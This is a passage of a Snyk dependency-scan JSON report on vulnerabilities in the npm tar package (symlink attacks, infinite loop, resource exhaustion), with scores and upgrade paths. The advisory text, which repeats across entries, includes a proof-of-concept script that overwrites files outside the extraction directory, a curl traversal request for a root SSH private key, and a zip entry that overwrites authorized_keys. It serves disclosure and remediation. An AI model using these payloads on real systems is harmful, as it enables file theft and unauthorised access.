"libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the 